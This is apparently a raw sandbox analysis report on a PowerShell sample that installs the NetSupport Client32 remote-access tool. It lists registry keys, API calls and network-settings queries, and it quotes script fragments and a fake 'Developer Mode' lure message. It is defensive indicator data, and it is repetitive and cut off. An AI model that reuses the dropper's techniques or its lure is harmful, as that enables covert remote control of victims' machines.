00000000-00002888.00000002.167735.11188000.00000002.mdmp ".DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\%c" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C412F191-BB15-4e40-9CCC-97E571D2C6BF}" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3F709462-4AD7-482F-8761-C6ED6AD145A1}" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Set [HKLM\%s]%s=1 (from %d)" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Print\Monitors\Standard TCP/IP Port\Ports" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Print\Monitors\Standard TCP/IP Port\Ports\" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\NetSupport Ltd\Client32" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\N%x.%s" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\N%x" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "System\CurrentControlSet\Control\GraphicsDrivers\DCI" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Internet Explorer\Main" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "System\CurrentControlSet\Control\ProductOptions" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\NSL" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\RM\Connect" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Research Machines\Network Management\Location Chooser" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\NetSupport Ltd\PCICTL" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Productive Computer Insight\PCICTL" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\FontSubstitutes" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\7-zip" in Source: 00000000-00006340.00000000.164028.010F9000.00000002.mdmp38:T60c,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00002888.00000001.165813.72691000.00000020.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")39:Tb22,"powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e07efc378b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e08afc378b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e087fc378b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e073fc378b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0359f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0529f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0269f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0379f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e02f9f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0289f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0439f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e04e9f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e03f9f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0209f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0569f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0409f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e04f9f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0599f528b010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e03b9f528b010000" "szProvider": "Microsoft Enhanced RSA and AES Cryptographic Provider" "dwProvType": "24" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e0309f528b010000" "dwProvType": "1" "dwFlags": "4026531840"}3a:T1971,"\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00002888.00000000.163893.02DB0000.00000004.mdmp 00000000-00002888.00000001.165813.02DB0000.00000004.mdmp 00000000-00002888.00000002.167735.02DB0000.00000004.mdmp "Software\Productive Computer Insight" in Source: 00000000-00002888.00000000.163893.111D5000.00000004.mdmp 00000000-00002888.00000001.165813.111D5000.00000004.mdmp "Software\NetSupport Ltd" in Source: 00000000-00002888.00000000.163893.111D5000.00000004.mdmp 00000000-00002888.00000001.165813.111D5000.00000004.mdmp "System\CurrentControlSet\Services\Winsock\Autodial" in Source: 00000000-00002888.00000000.163893.111D5000.00000004.mdmp 00000000-00002888.00000001.165813.111D5000.00000004.mdmp "SYSTEM\CurrentControlSet\Services\nsafltr\Parameters" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "System\CurrentControlSet\Services\Gdihook5" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\NetSupport Ltd\Client32" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\NSL\Saved\DS" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet\Enum" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Policies\NetSupport\Client\standard" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Classes\ActivatableClasses\Package" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Productive Computer Insight\Client32" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Productive Computer Insight\Client32\AutoReconnect" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Winlogon" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\NPPr675hg" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Classes\VirtualStore\MACHINE\%s\%s\ConfigList" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Policies\NetSupport" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Policies\NetSupport\Client\Standard" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Policies\NetSupport\Client" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp ".DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\%c" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C412F191-BB15-4e40-9CCC-97E571D2C6BF}" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3F709462-4AD7-482F-8761-C6ED6AD145A1}" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Set [HKLM\%s]%s=1 (from %d)" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Print\Monitors\Standard TCP/IP Port\Ports" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Print\Monitors\Standard TCP/IP Port\Ports\" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\NetSupport Ltd\Client32" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\N%x.%s" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\N%x" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "System\CurrentControlSet\Control\GraphicsDrivers\DCI" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Internet Explorer\Main" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "System\CurrentControlSet\Control\ProductOptions" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\NSL" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\RM\Connect" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Research Machines\Network Management\Location Chooser" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\NetSupport Ltd\PCICTL" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "SOFTWARE\Productive Computer Insight\PCICTL" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\FontSubstitutes" in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp "Software\7-zip" in Source: 00000000-00006340.00000000.164028.010F9000.00000002.mdmp3b:T439,file/memory contains long string with (Indicator: "Join-Path"; File: "48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin") file/memory contains long string with (Indicator: "Test-Path"; File: "48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin") file/memory contains long string with (Indicator: "Write-Host"; File: "48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin") file/memory contains long string with (Indicator: "powershell_ise.exe"; File: "5B18SBUM9VWE1WPZTZMP.temp") Found string "$dest = Join-Path $hahas $file" (Indicator: "Join-Path"; File: "48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin") Found string "if (Test-Path $exePath) {" (Indicator: "Test-Path"; File: "48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin") Found string "Write-Host "Developer Mode is currently closed due to high participant volume. Please try again on February 2." -ForegroundColor Red" (Indicator: "Write-Host"; File: "48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin")3c:Te6e,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENUNREACHABLESERVERS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENDEFAULTSERVERS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DYNAMICSERVERQUERYORDER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "FILTERCLUSTERIP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "WAITFORNAMEERRORONALL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEEDNS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DNSSECURENAMEQUERYFALLBACK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ENABLEDAFORALLNETWORKS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DIRECTACCESSQUERYORDER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYIPMATCHING"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEHOSTSFILE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ADDRCONFIGCONTROL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DISABLESMARTNAMERESOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PREFERLOCALOVERLOWERBINDINGDNS"; Value: "")3d:T593,Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")3e:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")3f:Tb8c,Found reference to API "LogonUserA" (Indicator: "LogonUser"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "NSMLogonUser Failed" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "LsaLogonUser" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "MyLogonUser status = %l" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "MyLogonUser FAILURE: Status = STATUS_NO_SUCH_PACKAGE" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "MyLogonUser FAILURE: Status = STATUS_NO_LOGON_SERVERS" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "MyLogonUser FAILURE: Status = STATUS_LOGON_FAILURE" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "MyLogonUser FAILURE: Status = STATUS_BAD_VALIDATION_CLASS" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "MyLogonUser FAILURE: Status = STATUS_ACCOUNT_RESTRICTION" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "MyLogonUser FAILURE: Status = STATUS_QUOTA_EXCEEDED" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "LogonUserWithCert FAILED (%d)" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "LogonUserWithCert - Crypt32.dll does NOT provide required functionality!" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "LogonUserWithCert - Advapi32.dll does NOT provide required functionality!" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "LogonUserWithCert - CredMarshalCredential FAILED (%d)" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "LogonUserWithCert - Crypt32.dll NOT found!!!" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "LogonUser(%s, %s) took %d ms, ret %d" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "OldLogonUser" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "Info. LogonUser(%s) failed, e=%d (x%x)" (Indicator: "LogonUser"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp")40:T10d7,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module 